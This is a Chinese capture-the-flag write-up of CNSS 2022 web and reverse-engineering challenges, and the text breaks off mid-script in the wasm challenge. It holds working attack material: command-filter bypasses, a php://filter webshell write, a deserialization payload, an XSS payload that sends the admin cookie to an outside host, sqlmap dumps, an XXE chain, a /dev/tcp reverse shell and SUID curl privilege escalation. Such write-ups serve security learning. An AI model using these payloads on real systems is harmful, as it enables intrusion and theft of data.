[CTF] 2022 CNSS夏令营 Web&Reverse 复现wp

写在前面

我是真的喜欢凝聚啊, 大家一起就像情侣一样

image


很有趣的一次(大)学前教育, 作为一个22级泥电新生, 以前没接触过ctf, 进新生群然后就被拉进来Van了. 结果没想到还挺好玩(可能是我这几天太无聊了), 边学边打居然还能当榜一, 满足了.

还是很开心的, 高二有想过打CTF, 但是后面搁置了就忘了, 这也算是圆梦了. 一下能入门接触到这些Web/Re/PWN/Crypto, 接触了IDA/Burp Suite/PWNTools等等, 很有成就感, 也很有满足感. 至少暑假不是在颓废了. 嘿嘿~

BTW, CNSS的佬们还是很好很热情的, 氛围很好, 开森(/≧▽≦)/.

WEB

🚩 Signin | 难度评分: ★

新手友好签到题!

直接打开链接, 显示Please Change Your Method!. 改成Post后访问出现PHP代码:

<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
    die("Please Change Your Method!");
    exit();
}else{
    if(!isset($_POST["CNSS"])){
        show_source(__FILE__);
    }
    else if($_POST["CNSS"] === "join"){
        if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
            setcookie("flag","0");
            if($_COOKIE['flag'] === '1'){
                echo $flag;
            }else{show_source(__FILE__);}
        }else{
            show_source(__FILE__);
        }
    }
}

很明显, 需要在POST的data里加入CNSS: join, 在GET的args里写上?web=like, 并且设置cookie中flag=1, 就会打印flag啦~

Python代码

import requests

url = 'http://8.130.29.197:6001?web=like'
data = {'CNSS': 'join'}
cookies = {'flag': '1'}
x = requests.post(url, data=data, cookies=cookies)
print(x.text)

或Burp Suite:

Burp Suite

结果:

FLAG

CNSS{Y0u_kn0w_GET_and_POST}


⚙️ D3buger | 难度评分: ★

题目目的就是让我们不要仅限于F12罢(

其实用Burp Suite直接就打开了, 这里不讲了. 如果用网页的话, 我建议是先打开一个网页, 比如baidu.com, 然后F12打开开发者工具, 再在地址框输入访问目标地址, 这样好像是无解的, 无法检测.

答案就在fuck.js(什么奇葩名字

image

(捏吗, xlykle这种佬又在演!

CNSS{Wh@t_A_Sham3le55_thI3f}


🔢 更简单的计算题 | 难度评分: ★

奇奇怪怪的题目

打开, 计算出结果后输入发现只能输入5位, 提交也不能点.

直接F12, 把max-length改成-1, 把disable去掉就行.

image

CNSS{ohhh__m@th_1s_s0_ez!!!}


🔢 更坑的计算题 | 难度评分: ★★

开始上难度, 要用到脚本辽

打开发现限时, F12能看出来那个+1s纯纯的摆设(真暴力啊. 一秒钟的限时. Python直接算出来提交就行了, 记得把Cookie带上哦!

import requests
import re

url = 'http://8.130.29.197:6003/'

get = requests.get(url)
cookies = get.cookies

# 正则匹配出乘法式子, a*b, 再通过split分割成两个数, 转为int乘出结果
# 格式: <p>22159793*39616436=</p><form method="post">
equation = re.findall(r'<p>(.*?)=</p><form method="post">', get.text)[-1]
a, b = equation.split('*')
ans = int(a)*int(b)

post = requests.post(url, data={'res': ans}, cookies=cookies)

print(post.text)

结果

image

CNSS{w#y_5o_f4st?}

🇨🇳 China Flag | 难度评分: ★★★

这道题把我卡死了(, 脑洞太大, 有种Misc的感觉. 而且用Python访问不能正常出结果

Referer

强制跳转啥的就不管了, 直接进到http://8.130.29.197:6004/china.php里, 问?我的朋友,你从哪儿找来的, 结合hint说的http报头, 那"从哪来"大概率指的Referer.

X-Forwarded-For

尝试几个可能的Referer后发现, Referer为http://8.130.29.197:6004/index.php时, 提示信息变成了你真的是土生土长的拆尼斯🐴?. 联想到梯子, 可能指的是代理, 报头里X-Forwarded-For可以体现. 而土生土长指的是本地ip127.0.0.1.

所以设置X-Forwarded-For127.0.0.1, Burp Suite就能出正确结果了.

Accept-Language

但是如果使用Python会莫名多个考点, 就是要把Accept-Language设置成zh-CN, (Burp Suite默认就是),并且这一步没有任何提示(据说本来有, 可能出问题了). 所以把我卡死了, 因为做这道题的时候我还不会Burp Suite, 用Python写的脚本...乌鱼子~

image

CNSS{ohHHHHH~~~Ch1ne5e_Kungfu!}


🤥 Trick | 难度评分: ★★★★

确实是一道搜索引擎应用题, PHP漏洞多, 不可能全部记住, 找到重点可疑句子拿去搜索, 大概率有结果

访问得到php代码

<?php
    error_reporting(0);
    require_once("flag.php");
    show_source(__FILE__);

    $pass = '0e0';
    $md55 = $_COOKIE['token'];
    $md55 = md5($md55);

    if(md5($md55) == $pass){
        if(isset($_GET['query'])){
            $before = $_GET['query'];
            $med = 'filter';
            $after = preg_replace(
                "/$med/", '', $before
            );
            if($after === $med){
                echo $flag1;
            }
        }
        $verify = $_GET['verify'];
    }

    extract($_POST);
    
    if(md5($verify) === $pass){
        echo $$verify;
    }
?>

[漏洞 0x00] 弱类型比较漏洞 (==)

php有两种类型比较的符号, 弱类型比较==和强类型比较===. 在弱类型比较时会转换变量类型, 这样有些不相等的东西也会变相等了.

这里就是利用了弱类型比较时, 0e开头且后面都是数字的字符串会被转换成科学计数法的数字, 也就是0的n次方, 都等于零. 所以'0exxxxx'都是弱比较相等的.

所以我们只需要找到md5加密两次之后, 开头还是0e的字符串. 写个Python脚本爆破一个出来Google一下能找到已经爆破好的字符串, 如f2WfQiv2Cn.

把偷来的爆破脚本也Po出来(来源xianyu123's Blog)

import string
import hashlib

payload = string.ascii_letters + string.digits


def calc_md5(s):
    md5 = hashlib.md5(s.encode("utf-8")).hexdigest()
    md5_double = hashlib.md5(md5.encode("utf-8")).hexdigest()
    if (md5_double[0:2] == "0e" and md5_double[2:].isdigit()):
        print(s)


def getstr(payload, s, slen):
    if (len(s) == slen):
        calc_md5(s)
        return s

    for i in payload:
        sl = s + i
        getstr(payload, sl, slen)


# 字符串长度从0到30,肯定找得到
for i in range(3, 30):
    getstr(payload, '', i)

所以我们把cookie设置成token=f2WfQ就能直接绕过第一个md5验证.

[漏洞 0x01] 正则匹配漏洞

如代码所示, 会把filter从字符串里去掉, 并且要求去掉后的字符串还是filter.

那么其实动动歪脑筋, 把这个单词拆开放在这个单词两边就行了, 如fifilterlter, 代码会把中间的filter字样去掉, 去掉了还是fliter这个单词.

所以把query设置成fifilterlter就好了.

这个时候运行就可以得到前半个flag了, 也就是flag1.

image

为什么只有一半的变量捏, 那有flag1肯定有flag2是吧, 我们怎么输出flag2捏?

[漏洞 0x02] extract漏洞

extrat会把字典里的内容提取出来变成变量, 这个过程会覆盖掉原有的同名变量这样就可以替换掉.

所以我们post个verifypass上去, 让md5(verify)pass相等就行.

[漏洞 0x03] 双$$转义漏洞

绕过了那个if了, 怎么打印flag2呢?

仔细看, 最后一个echo的是$$verify, 有两个$. 这样会将verify的内容当成变量名再取一次变量.

比如, 如果$verify = "flag2", 那$$verify就是$flag2.

那么我们就只需要将verify设置成flag2即可打印出flag2

此时pass就是"flag2"这个字符串的md5值

代码及结果

完整Python源码:

import requests

url = 'http://8.130.29.197:6005?query=ffilterilter'
cookie = {"token": "f2WfQ"}
# md5("flag2") = 9a48ddad2656385fce58af47a0ef56cf
data = {"pass": "9a48ddad2656385fce58af47a0ef56cf", "verify": "flag2"}
x = requests.post(url, cookies=cookie, data=data)

print(x.text)

image

CNSS{B4by_9h9_Tr1ck}


⬛ BlackPage | 难度评分: ★★★★

php://filter

打开网页, 在网页源码的注释里找到线索:

<?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
  exit("Nooo,You can't read it.");
}else{
  include $file;
}
//你能读到 mybackdoor.php 吗?

考点是php://filter和包含的应用, 这里Po一篇详细的解释: 探索php://filter在实战当中的奇技淫巧

这里我们直接用php://filter/read=convert.base64-encode/resource=就能读取mybackdoor.php文件. 访问http://8.130.29.197:6006/?file=php://filter/read=convert.base64-encode/resource=mybackdoor.php即可.

image

(这个输出在黑色图片上, 一晃眼真会忽略掉)

Tab代替空格/URL编码

拿去base64解密后就能看到mybackdoor.php:

<?php
error_reporting(0);
function blacklist($cmd){
  $filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
  if (preg_match("/".$filter."/is",$cmd)==1){  
      exit('Go out! This black page does not belong to you!');
  }
  else{
    system($cmd);
  }
}
blacklist($_GET['cmd']);
?>

这里禁用了很多命令, 甚至包括空格, 但是我们可以用tab来替代空格, tab在url编码里是%09, 所以ls /就可以写成ls%09/.

访问http://8.130.29.197:6006/mybackdoor.php?cmd=ls%09得到目录下文件, flag文件名为Fl4g_is_here

绕过正则匹配

image

现在我们需要输出这个文件, 有几个不同的方法

[方法 0x00] 单引号绕过preg_match

这里涉及到单引号可以绕过preg_match的考点, cat不能用, 写成c'a't就行了.

于是输出命令就变成了c'a't%09F'l'4'g_is_here

[方法 0x01] 使用nl命令

nl是输出带行号的文件内容的命令, 且可以模糊匹配文件名, 这里没有被禁掉, 我们就可以直接nl%09/F[a-z]4g_is_here运行

[方法 0x02] 使用base64编码读取

linux的echo可以解码base64, 可以利用这个特性绕过正则, 输出工具用tac, nl这些都行, 反引号意思是将echo的结果输出给前面的命令, /Fl4g_is_here的加密结果为L0ZsNGdfaXNfaGVyZQ所以可以直接使用

nl%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
或
tac%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`

输出flag

结果

上面的命令任选其一, 作为参数访问http://8.130.29.197:6006/mybackdoor.php?cmd=即可.

image

CNSS{0ops!Y0u_G0t_My_Bl4ckp4ge!}


☯️ 太极掌门人 | 难度评分: ★★★

打开页面获得php代码

<?php
    error_reporting(0);
    show_source(__FILE__);

    function deleteDir($path) {

        if (is_dir($path)) {
            $dirs = scandir($path);
            foreach ($dirs as $dir) {
                if ($dir != '.' && $dir != '..') {
                    $sonDir = $path.'/'.$dir;
                    if (is_dir($sonDir)) {

                        deleteDir($sonDir);

                        @rmdir($sonDir);

                    } elseif ($sonDir !== './index.php'
                            && $sonDir !== './flag.php') {

                        @unlink($sonDir);

                    }
                }
            }
            @rmdir($path);
        }
    }

    $devil = '<?php exit;?>';

    $goods = $_POST['goods'];

    file_put_contents($_POST['train'], $devil . $goods);

    sleep(1);

    deleteDir('.');

?>

函数里一大段不用管, 用来删除你扔进去的文件的,主要是看后面这几行

$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');

很明显, 你可以通过file_put_contents写点文件到某个php文件里, 然后你有一秒的时间访问它.

但是写入它之前明显你需要先去掉或者绕过<?php exit;?>才能使你写入的代码正常执行.

所以这里就涉及到file_put_contents的漏洞问题了, 由于此函数的特性, 文件名处(也就是这段代码里的train), 可以使用php://filter语句, 我们就可以通过filter加解密的方式将破坏掉

php://filter/write=convert.base64-decode/resource=shell.php 可以将内容解密后再写入, 我们传入我们想要的代码的base64密文, 拼接在前面的<?php exit;?>会被解码成乱码, 而我们的代码可以正常解密.

需要注意的是, 由于符号不会被解密, <?php exit;?>被解密的就只有phpexit这七个字符. base64密文是4个为一组, 所以我们需要再多添一位.

比如, 我想执行<?php system('cat flag.php');?>, 这段话加密后为PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==, 我们在前面添加一位变成aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==. 这样传进去解码后的结果就是�^�+Z<?php system('cat flag.php');?>, 执行后直接就输出了.

Python代码:

import requests
from threading import Thread
from time import sleep

url = "http://8.130.29.197:6002/"
url2 = "http://8.130.29.197:6002/shell.php"
data = {
    'goods': 'aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==',
    'train': 'php://filter/write=convert.base64-decode/resource=shell.php',
}

t = Thread(target=requests.post, args=(url, data))
t.start()
sleep(0.5)
x = requests.get(url2)
print(x.text)

因为只有1s, 所以我用多线程同时访问两个页面, 不会超时.

结果:

image

CNSS{F45ter_7han_Re5per}

我刚刚复现这道题的时候试了试另外一个方法, 就是服务器不让直接访问flag.php, 那我就把flag.php改名成flag1.php然后访问, 这个是可以实现的, 但是!!!我没改回来, 所以flag1.php就被自动删除掉了, 导致flag没了!没了!没了!, 幸好flag有记录, 这玩意可以执行任何系统代码, 我就写回去了.


🥳 To_be_Admin | 难度评分: ★★

直接访问, 从主页跳转到/admin, 提示需要admin. 抓包发现token, (虽然不知道是什么token但是直接复制粘贴到必应搜索)发现是JWT.

使用jwt.io解密发现Payload里带username, 改为admin即可.

image

但是稍加了解jwt就知道你还需要一个给定的key来加密验证段, 这个key在哪里找呢?

主页给了一个hint是/read页面, 打开提示GET file, 那么我们就加上file参数读文件. 先试了/read?file=flag.php, 返回Hacker. 说明对特殊字符串进行了正则屏蔽.

遂搜索, 找到一篇介绍CTF中linux常见文件读取路径的文章.

文章链接:任意文件读取漏洞-文件读取漏洞常见读取路径(liunx)

一个一个试. 到/read?file=/proc/self/environ的时候找到了Key.

image

THIS_is_a_KEY

填入jwt, 获得重新加密的tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.rcaAsLy8BWRTgbRy-Npw2eNarwBAZzINqA2LSZKcQhA

image

修改cookie中的token即可, 最后可能需要到css文件里复制flag.

image

CNSS{yeeeeeee_Y0u_are_Adm1n_n0w}


🤐 To_be_Admin_Again | 难度评分: ★★★★★

打开页面得到php代码:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class CNSS{
    private $username = 'guest';
    private $code = 'phpinfo();';
    public function __construct(){
        $this->username = $username;
        $this->code = $cmd;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if($this->username === 'admin'){
            eval($this->code);
        }
    }
}

// You must be interested in save.php

最后一行提示去看save.php:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
if (isset($_GET['cnss'])) {
    $_SESSION['cnss'] = $_GET['cnss'];
}

稍加搜索就能知道是反序列化问题, 现在就是要构建这个反序列, 然后绕过wakeup函数. 教程比较长, 网上的都很详细, 善用搜索, 这里就不写了.

说个不常见的问题, 我最先构建出来的是这样的

O:4:"CNSS":3:{s:8:"username";s:5:"admin";s:4:"code";s:20:"system("cat /flag");";}

运行后没反应, 然后我骚扰xlykle之后发现这两个变量都是private, 网上的大多都是public, 所以寻找到private需要在前面加上%00类名%00来表示私有, 注意%00是一个字符(其实就是\0), 所以改成:

O:4:"CNSS":3:{s:14:"%00CNSS%00username";s:5:"admin";s:10:"%00CNSS%00code";s:20:"system("cat /flag");";}

所以先访问http://8.130.29.197:6008/save.php?cnss=|O:4:%22CNSS%22:3:{s:14:%22%00CNSS%00username%22;s:5:%22admin%22;s:10:%22%00CNSS%00code%22;s:20:%22system(%22cat%20/flag%22);%22;}, 再访问http://8.130.29.197:6008/得到结果

image

CNSS{Admin_1s_w4tch1ng_y0u}


😰To_be_Admin_Again_and_Again | 难度评分: ★★★★

XSS攻击.

image

与admin有关, 可以尝试http://1.117.6.207:65005/admin, 显示Get out, HACKER! Only admin can see the flag!, 说明需要一个admin的验证, 这里想到获取admin的cookie.

每条留言会自动查看, 可以使用XSS攻击, 很容易看出来Name和Email两栏有XSS漏洞, 可以使用">封闭input标签并插入一个script标签进行Cookie的获取. 这里我直接使用了一个XSS平台进行了payload构建, 可以自己搭服务器.

payload: "><sCRiPt sRC=//uj.ci/Qpae></sCrIpT>

使用preview可以发现payload已被正常解析成了html语句, 后台也收到了cookie:
image

image

然后只需要暴力碰撞一下这个sha256即可发送至后台获取Admin的cookie.

碰撞代码的python源码:

import hashlib
 
def sha256(s):
    return hashlib.sha256(s.encode('utf-8')).hexdigest()
 
if __name__ == "__main__":
    def sha256Crack(token):
        for i in range(10000000000):
            # print(sha256(i))
            a = sha256(f"{i:04d}")[:6] 
            print(f'\r{a}', end='', flush=True)
            if a == token[:6]:
                print()
                return i
        print()
        return None

    print(sha256Crack(str(input())))

拿到cookie就可以改cookie去/admin了, 直接打开就有flag辽

image

CNSS{Admin_1s_AAAAAAAAAngry}


🏃 第一次跑路 | 难度评分: ★★★★★(手动) ★★★★(sqlmap)

这道题结合题目描述是sqli, 数据库泄露一类的题, 这里写一下sqlmap一把梭的方法(其实是我不会手动)

这里先用login接口用万能账户登录试试:

admin'or+1=1#

image

可以进到welcome.php:

image

那就用sql, 先从login接口出发, 命令如下:

sqlmap -u "http://8.130.29.197:6011/login.php"  --data="username=cnss&password=1" -D CN55 -T user -C "id,username,password" --dump

image

很好, fake flag, 结合网页里忘记密码按键会弹出cookie, 我们改成用cookie sqlmap, 记得改level 2才会扫描cookie的漏洞, 从login.php扫描不行, 会跳盲注:

sqlmap -u "http://8.130.29.197:6011/login.php" --cookie "username=cnss" --level 2

image

所以我们改用welcome.php为入口试试, 即可解出:

sqlmap -u "http://8.130.29.197:6011/welcome.php" --cookie "username=cnss" --level 2 --dbs --hex
sqlmap -u "http://8.130.29.197:6011/welcome.php" --cookie "username=cnss" --level 2 -D CN55 --tables --hex
sqlmap -u "http://8.130.29.197:6011/welcome.php" --cookie "username=cnss" --level 2 -D CN55 -T fulage --dump --hex

结果:

image

CNSS{5QLI_w17h_Cooki3}

这道题本意是要ban了sqlmap的, 非常建议大家去学习一下手动sqli, 而不是看我sqlmap摆烂. 点我看xxxl大佬的WP


💉 Inject me | 难度评分: ★★★★★★

Hurrison的高质量神题

我认为这道题的质量非常高, 涉及的知识面很广, 需要耐下心一点一点尝试才能找到突破口. 以下我都是直接总结出来正确做法, 其实当时的思路偏差很大, 一点一点纠正回来的. 比如看到127.0.0.1的第一想法是改X-Forwarded-For为127.0.0.1、看到权限问题想到直接提权shell等, 这些错误的想法就不一一列出来了.

注意: 建议使用linux系统运行wp中的python脚本, windows由于网络区别可能会有bug

打开链接发现404, 下载jar后反编译发现是springboot架构, 阅读代码找到几个关键链接/cnss/summer/login, /cnss/summer/parse, /cnss/doCmd

Step 1. 绕过loginparse的filter

/cnss/summer/login post请求 us3rname和pa@sswd, 返回token (md5), SESSION的有效时长仅有5秒

/cnss/summer/parse 需要使用SUMMMMMER请求 Header中需要附上一个UUID, 这个UUID加密后的结果和token的前四位相等, 则认为是合法的请求, 通过filter, 这个UUID可以直接暴力破解出来.

image

image

实现代码:

from requests import Session, Request
import hashlib
import itertools
import json

# 获取md5
def md5(s):
    m = hashlib.md5()
    m.update(s.encode('utf-8'))
    return m.hexdigest()

# 生成一个由常见字符随机组合成的字典, 1-4位
word = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+{}|:"<>?[]\;\',./'
dic = []
for i in range(1, 4):
    dic.extend([''.join(x) for x in itertools.product(word, repeat=i)])

# 返回碰撞出的结果
def md5Crack(token):
    return next((i for i in dic if md5(i)[:4] == token[:4]), None)

if __name__ == "__main__":
    # 创建一个Session
    s = Session()

    # 登录并获取token
    loginUrl = 'http://1.117.6.207:45864/cnss/summer/login'
    loginRes = s.post(loginUrl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'})
    token = loginRes.json()['data']['token']
    
    # 碰撞伪造一个md5相同的uuid
    forgeUUID = md5Crack(token)
    print(forgeUUID)

    xml = "xml负载"
    
    url = 'http://1.117.6.207:45864/cnss/summer/parse?nammmmme=us3rname'
    data = {
        'username': 'us3rname',
        'xml': xml,
    }
    headers = {
        'UUID': forgeUUID,
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'
    }

	# 初始化SUMMMMMER请求
    summerRequest = Request('SUMMMMMER', url, data=json.dumps(data), headers=headers)
    prep = s.prepare_request(summerRequest)

    x = s.send(prep)
    print(x.text)
    print(x.json()['data'])

Step 2. 绕过doCmd的filter

/cnss/cmd?cmd= 可以执行命令, 但是需要从127.0.0.1发起请求, 根据题目hintXXE注入可以想到通过/cnss/summer/parse对xml的编码进行xxe注入, 从本地发起请求.

这里要注意xml中的url要使用url编码

修改上文代码如下

from urllib.parse import quote

...

	# XXE注入, 这里对command进行了url编码避免出错
	command = '命令'  
	xml = f'''<?xml version="1.0" encoding="utf-8" ?>
	<!DOCTYPE test[
		<!ENTITY xxe SYSTEM "http://127.0.0.1:5000/cnss/doCmd?cmd={quote(command)}">
	]>
	<root>&xxe;</root>
	'''

...

Step 3. 反弹shell

根据hint可以想到用doCmd反弹一个shell, 这里可能需要你有一个具有公网ip的服务器.

先贴上代码, command改为如下:

command = 'bash -i >& /dev/tcp/你服务器公网ip/你nc监听的端口 0>&1'  # 反弹shell

使用你的服务器打开nc监听, 具体命令为nc -l -vv -p [端口], 比如我使用nc -l -vv -p 6809, 效果如下, 说明已经开始监听:

image

此时运行上面的代码, 可以发现shell已经被弹到我们的命令行中了, 此时可以随意输入指令了

image

Step 4. 使用curl命令提权, 访问flag

在shell中返回到根目录, ls发现有fl444444g, 直接输出发现权限不足, 需要提权.

image

此处当时我寻找的教程是知乎文章: Linux提权的几种常用方式, 也推荐仔细阅读一下hurrison大佬hint中的教程, 更加详细.

使用命令find / -perm -u=s -type f 2>/dev/null找到有root权限的命令:

image

发现curl在其中, 可以使用file://协议 + curl读取文件:

命令: curl file:///fl444444g

image

找到flag.

CNSS{5dc5330bbeac0192a8db6bf9b269470781e74aff192623e0419edfa0c5e2f8ad}

Reverse

💡 Hello Reverse | 难度评分: ★

下载IDA, 打开工程, flag就在眼前.

image

cnss{This_is_the_format_of_flag}


🐸 Find the key | 难度评分: ★

可以扔进linux运行, 可以不运行. 我直接用IDA打开, 找到main函数, 跟着hint一步一步来.

image

Hint:push F5 in the IDA.按下F5反编译, 可以看到伪C代码.

image

看函数有个叫click_me的, 直接点开

image

You can see the key1 in assemble window去assemble window可以看到转char后的变量值

image

找到第一部分flagIDA-is

继续走到next, 提示进I_am_hear

image

进去后看到第二部分flaga-useful-tool, 并提示搜索key, 搜索到结果of-reverse

image

所以flag就是cnss{IDA-is-a-useful-tool-of-reverse}


💯 Baby C code | 难度评分: ★

扔IDA直接F5, 得到核心伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char a[6]; // [rsp+2Ah] [rbp-16h] BYREF
  int i_1; // [rsp+30h] [rbp-10h]
  int i_0; // [rsp+34h] [rbp-Ch]
  char b; // [rsp+3Bh] [rbp-5h]
  int i; // [rsp+3Ch] [rbp-4h]

  _main(argc, argv, envp);
  strcpy(a, "cnss{");
  for ( i = 0; i <= 4; ++i )
    flag[i] = a[i];
  b = 65;
  for ( i_0 = 5; i_0 <= 17; ++i_0 )
  {
    flag[i_0] = b;
    b += 2;
  }
  flag[18] = 125;
  puts("Plz input the flag:");
  scanf("%19s", input);
  if ( strlen(input) == 19 )
  {
    for ( i_1 = 0; i_1 <= 18; ++i_1 )
    {
      if ( flag[i_1] != input[i_1] )
        goto LABEL_8;
    }
    puts("Congratulation");
    system("pause");
    return 0;
  }
  else
  {
LABEL_8:
    puts("Wrong");
    system("pause");
    return 0;
  }
}

关键部分是

strcpy(a, "cnss{");
for ( i = 0; i <= 4; ++i )
	flag[i] = a[i];
b = 65;
for ( i_0 = 5; i_0 <= 17; ++i_0 )
{
	flag[i_0] = b;
	b += 2;
}
flag[18] = 125;

65是A的ascii码, 然后每隔两个取一个, 取13个, 就是ACEGIKMOQSUWY

所以flag就是CNSS{ACEGIKMOQSUWY}


🎫 Baby XOR | 难度评分: ★★

IDA打开发现加密, 直接F5

image

核心问题是v4经过了怎样的加密, 进入sub_4016EC函数.

int __cdecl sub_4016EC(int a1)
{
  int result; // eax
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 32; i += 3 )
    result = sub_401698(2 * i + a1);
  return result;
}

发现这里IDA解析出来的参数是int, 我们明显传进去的是字符串数组, 所以我们直接修正成_WORD*类型

_WORD *__cdecl sub_4016EC(_WORD *a1)
{
  _WORD *result; // eax
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 32; i += 3 )
    result = sub_401698(&a1[i]);
  return result;
}

结合sub_401698

_WORD *__cdecl sub_401698(_WORD *a1)
{
  _WORD *result; // eax

  *a1 ^= a1[1];
  a1[2] ^= a1[1];
  result = a1 + 1;
  a1[1] ^= *a1;
  return result;
}

可以看出来这里给数组三个一组进行异或处理, 简化成python代码就是

def encode(a):
	for i in range(0, 33, 3):
		a[i] ^= a[i + 1]
		a[i + 2] ^= a[i + 1]
		a[i + 1] ^= a[i]

异或运算是可逆的, 我们直接反着来一遍即可:

def decode(a):
	for i in range(0, 33, 3):
		a[i + 1] ^= a[i]
		a[i + 2] ^= a[i + 1]
		a[i] ^= a[i + 1]

然后我们找到word_403020的值, 直接右键改成Array, 大小看_main中是34

image

直接export出去, 改成Python的格式:

word_403020 = [
  13,
  99,
  29,
  8,
  115,
  46,
  59,
  95,
  11,
  30,
  95,
  30,
  40,
  71,
  0,
  59,
  100,
  21,
  13,
  111,
  61,
  39,
  73,
  49,
  1,
  100,
  6,
  11,
  111,
  1,
  0,
  33,
  92,
  0,
]

结合我们的解密代码, 可以写出python解密程序

word_403020 = [
    13,
    99,
    29,
    8,
    115,
    46,
    59,
    95,
    11,
    30,
    95,
    30,
    40,
    71,
    0,
    59,
    100,
    21,
    13,
    111,
    61,
    39,
    73,
    49,
    1,
    100,
    6,
    11,
    111,
    1,
    0,
    33,
    92,
    0,
]


def decode(a):
    for i in range(0, 33, 3):
        a[i + 1] ^= a[i]
        a[i + 2] ^= a[i + 1]
        a[i] ^= a[i + 1]

decode(word_403020)

print("".join([chr(c) for c in word_403020]))

运行结果:

image

cnss{U_do_A_Good_Job_In_decode!!}


😆 Encoder | 难度评分: ★★★

IDA打开

image

可以找到一个字符串aAbcdefghijklmn是ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, 这是base64加密的索引表.

image

读main函数中找到的sub_4016B6函数可以发现索引表被进行了更改.

所以这里自定义了索引表进行base64加密, 加密后的结果是jLG/5Q7iZ0NI9ituYKtwZLN0Z8UNxwiIWLit.

image

我们直接在更改索引表的函数之后的某一行上打上断点开始动态调试, 注意要输入长度为27且格式为cnss{xxxx}才能执行到那里

image

然后我们找到aAbcdefghijklmn, 就获取到了base64的索引表qAFHSNKTBUglYrbVc9MXWiaZjm345xkROp6Ewhouz2JDv7dfyCI/08LQPG+nste1

image

直接使用Python写个脚本解密就行

import base64

originString = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' # 原索引表
changedString = 'qAFHSNKTBUglYrbVc9MXWiaZjm345xkROp6Ewhouz2JDv7dfyCI/08LQPG+nste1' # 替换后的索引表
encodedString = 'jLG/5Q7iZ0NI9ituYKtwZLN0Z8UNxwiIWLit' # 加密后的字符串

print(base64.b64decode(encodedString.translate(str.maketrans(changedString, originString))))

运行结果:

image

cnss{U_ArE_g0od_at_REvErSe}


🤖 Baby Android | 难度评分: ★★

JADX打开, 发现使用了RC4加密, 密文是f18cda5ef7c83f104401c5385063e0e070b96400786da665b5, 秘钥是Sh1no.

找个RC4加密的脚本(RC4加解密通用, 解密就是再加密一次)

import binascii
 
def rc4_crypt(PlainBytes:bytes, KeyBytes:bytes) -> str:
    '''[summary]
    rc4 crypt
    Arguments:
        PlainBytes {[bytes]} -- [plain bytes]
        KeyBytes {[bytes]} -- [key bytes]
    
    Returns:
        [string] -- [hex string]
    '''
 
    keystreamList = []
    cipherList = []
 
    keyLen = len(KeyBytes)
    plainLen = len(PlainBytes)
    S = list(range(256))
 
    j = 0
    for i in range(256):
        j = (j + S[i] + KeyBytes[i % keyLen]) % 256
        S[i], S[j] = S[j], S[i]
 
    i = 0
    j = 0
    for m in range(plainLen):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        cipherList.append(k ^ PlainBytes[m])
 
    result_hexstr = ''.join(['%02x' % i for i in cipherList])
    return result_hexstr.upper()

if __name__ == "__main__":
    hexString='f18cda5ef7c83f104401c5385063e0e070b96400786da665b5'
    key = 'Sh1no'.encode('utf-8').hex()
    print("rc4 result:", binascii.a2b_hex(rc4_crypt(binascii.a2b_hex(hexString), binascii.a2b_hex(key))).decode())

结果:

cnss{4ndro1d_1s_5o_e1sy!}


🐍 EasyPy | 难度评分: ★★★★


🍉LOOPERS | 难度评分: ★★★★★★

网页打开可以在审查中找到wasm文件, 可以看出这道题是webAssembly的逆向.

image

先用wasm2c将wasm转成.c文件, 再编译成二进制文件

wasmTools链接

./wasm2c flag.wasm -o flag.c
gcc -c flag.c -o flag.o

JEB应该是可以直接打开得到正常代码的, 而我选择了最笨的方法: 用ida打开, 并将伪代码翻译成python:

image

注意, 代码里的i32_load是加载int, 而i32_load8_u是加载的char, 需要&0xff

这是我翻译后的python程序:

def do_sth(arr, a, b, c, d):
    arr[d] ^= (arr[a] + arr[c])
    arr[d] &= 0xFF
    
    arr[c] ^= (arr[a] + arr[b])
    arr[c] &= 0xFF
    
    arr[b] ^= (arr[c] + arr[d]) 
    arr[b] &= 0xFF
    
    arr[a] ^= (arr[b] + arr[d])
    arr[a] &= 0xFF


def check(flag, key, enc):
    dic = '0123456789abcdef'

    if len(key) < 8:
        return False        

    i = False
    j = 0

    while j < len(flag):
        # init Seed
        seed = [0, 0, 0, 0, 0, 0, 0, 0]
        for k in range(8):    
            seed[k] = ord(key[k]) ^ ord(flag[k + j]) & 0xFF
        for _ in range(114):
            do_sth(seed, 0, 1, 2, 3)
            do_sth(seed, 4, 5, 6, 7)
            do_sth(seed, 0, 1, 4, 5)
            do_sth(seed, 2, 3, 6, 7)
        for m in range(8):
